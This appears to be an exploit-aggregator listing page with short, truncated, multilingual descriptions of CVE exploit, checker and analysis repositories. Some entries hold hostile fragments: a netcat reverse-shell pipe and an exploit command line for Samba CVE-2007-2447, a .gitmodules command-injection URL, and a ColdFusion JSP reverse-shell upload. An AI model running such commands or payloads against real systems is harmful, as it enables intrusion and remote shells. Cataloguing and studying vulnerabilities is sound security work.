CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 est une vulnérabilité RCE dans Pluck CMS v4.7.18. Elle est rendue possible par une vulnérabilité de téléchargement de fichier arbitraire dans le composant /inc/modulesinstall.php permettant d'exécuter du code arbitraire en téléchargeant un fichier .zip malveillant...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 — это отражённая XSS-уязвимость в Wonder CMS, которая дополнительно позволяет выполнять произвольный код с помощью вредоносного скрипта через компонент installModule. Использование Запуск эксплойта против loginURL цели, с указанием нашего IP и порта для веб-сервера,...

cve-2023-51385

Проверка CVE-2023-51385 Сначала необходимо добавить следующее содержимое в /.ssh/config: root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p В файле .gitmodules присутствует инъекция команд в строке: root@kitploit: url = ssh://echo helloworld...

DVWA-ZAP-PENTEST

Оценка уязвимостей DVWA с помощью OWASP ZAP Практическая оценка безопасности веб-приложения DVWA Damn Vulnerable Web App , выполненная с использованием OWASP ZAP Zed Attack Proxy 2.17.0. В этом проекте задокументирован полный рабочий процесс: разведка spidering, автоматическое сканирование...

CVE-2017-8464-EXP

CVE-2017-8464-EXP Поддержка x86 и x64 Только для тестирования Lnk-файл из: https://github.com/rapid7/metasploit-framework/pull/8767 Спасибо ykoster Небольшое изменение, замените dll-файл, исправлена ошибка аварийного завершения explorer.exe. ykoster уже исправил эту ошибку POC: x86: x64: Если вы...

CVE-2013-2028_Checker

CVE-2013-2028 - Переполнение стека в кодировании фрагментов Chunked Encoding Nginx HTTP Server 1.3.9-1.4.0 Описание Функция ngxhttpparsechunked в файле http/ngxhttpparse.c в nginx версий с 1.3.9 по 1.4.0 позволяет удаленным злоумышленникам вызвать отказ в обслуживании сбой и выполнить произвольны...

CVE-2026-14669

CVE-2026-14669 - PostgreSQL tochar 시간대 약어 힙 버퍼 오버플로 PostgreSQL tochar 함수는 시간대 형식화를 처리할 때 힙 버퍼 오버플로 취약점이 존재합니다. 공격자는 과도하게 긴 POSIX 시간대 약어를 설정하여 25바이트 고정 버퍼의 경계를 벗어난 쓰기를 트리거할 수 있으며, 정보 유출 및 ROP 체인과 결합하여 원격 코드 실행을 달성할 수 있습니다. 취약점 정보 CVE 번호 : CVE-2026-14669 CVSS 점수 : 8.8 높음 취약점 유형 : 힙 버퍼 오버플로 → 원격 코드 ...

CVE-2021-1675-PrintNightmare-Analysis

Ресерч уязвимостей: Локальное повышение привилегий и RCE через Windows Print Spooler PrintNightmare / CVE-2021-1675 Репозиторий содержит подробный технический отчет Write-up и разбор концепта эксплуатации критической уязвимости в службе диспетчера печати Windows Print Spooler, позволяющей...

WSUSResponder

🧰 WSUSResponder Версия: 1.0.1 Автор: RZA / IT Operations Лицензия:MIT 🎯 Назначение Модуль WSUSResponder предоставляет набор инструментов PowerShell для быстрого реагирования на критическую уязвимость CVE-2025-59287 — удалённое выполнение кода RCE, затрагивающую Windows Server Update Services WSUS...

CVE-2025-62593-PoC

CVE-2025-62593 — Ray 원격 코드 실행 인증 없음 CVE-2025-62593 에 대한 개념 증명PoC으로, Ray 분산 AI 컴퓨팅 엔진에서 브라우저 기반 DNS 리바인딩 공격을 통해 악용되는 인증 없는 원격 코드 실행 취약점입니다. 이 취약점은 CISA 알려진 악용 취약점KEV 카탈로그 에 추가되었으며 활발히 악용되고 있습니다. 근본 원인은 Ray 팀이 /api/jobs 및 /api/jobagent/jobs와 같은 중요한 HTTP 엔드포인트에서 인증을 수행하지 않기 로 한 오랜 설계 결정입니다. 그 결과, 인증...

CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 — это уязвимость неаутентифицированного произвольного чтения файлов, которую можно рассматривать не иначе как полное неаутентифицированное удалённое выполнение кода RCE. Злоумышленник может читать любые конфиденциальные файлы на затронут...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP는 독점적인 다중 프로토콜, 다중 플랫폼 파일 전송 서버입니다. CVE-2024-4040 - 모든 플랫폼의 CrushFTP 10.7.1 및 11.1.0 이전 모든 버전에서 발생하는 서버 측 템플릿 삽입Server Side Template Injection 취약점으로, 인증되지 않은 원격 공격자가 VFS 샌드박스 외부의 파일 시스템에서 임의의 파일을 읽고, 인증을 우회하여 관리자 액세스 권한을 획득하며, 서버에서 원격 코드 실행을 수행할 수 있습니다. 영향을 받...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz — это система планирования ресурсов предприятия с открытым исходным кодом. Она предоставляет набор корпоративных приложений, которые интегрируют и автоматизируют многие бизнес-процессы предприятия. CVE-2024-38856 — это уязвимость до аутентификации в Apache...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow — это платформа для трансформации бизнеса, которая помогает компаниям управлять цифровыми рабочими процессами для корпоративных операций. CVE-2024-4879 может позволить неаутентифицированному пользователю удалённо выполнять код в Now Platform. Эта уязвимость...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Графический инструмент эксплуатации уязвимости произвольной записи файлов методом PUT в Tomcat CVE-2017-12615 Описание уязвимости 19 сентября 2017 года Apache Tomcat официально подтвердил и исправил две критически опасные уязвимости, идентификаторы CVE: CVE-2017-12615 и...

CVE-2017-9791

CVE-2017-9791 Module Metasploit pour Apache Struts CVE-2017-9791 Vulnérabilité d'exécution de code à distance...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE 이 저장소는 Adobe ColdFusion 2018의 RCE 취약점에 대한 익스플로잇 코드를 포함하고 있습니다. 익스플로잇 설명 익스플로잇은 JSP 리버스 셸을 포함한 POST 요청을 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm으로 보냅니다. 성공하면 이 요청은 셸을...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Использование root@kitploit: Эксплуатируем цель 10.129.232.46 на порту 445, отправляем обратную оболочку на 10.10.14.82 порт 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 С указанием своих rport и lport python3...

rails-activestorage-vips-audit

rails-activestorage-vips-audit An Agent Skill that audits Ruby on Rails repositories for exposure to CVE-2026-66066 KindaRails2Shell — the Active Storage libvips variant-processing vulnerability that allows arbitrary file read and, in a Rails application, remote code execution. The skill is a...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Описание проекта и принцип действия Первый в мире эксплойт CVE-2024-4577 PHP-CGI RCE, использующий среду PHP по умолчанию XAMPP. Первый в мире эксплойт CVE-2024-4577 PHP-CGI RCE, использующий стандартную среду PHP. Предоставляется оригинальный эксплойт, поддерживается SSRF,...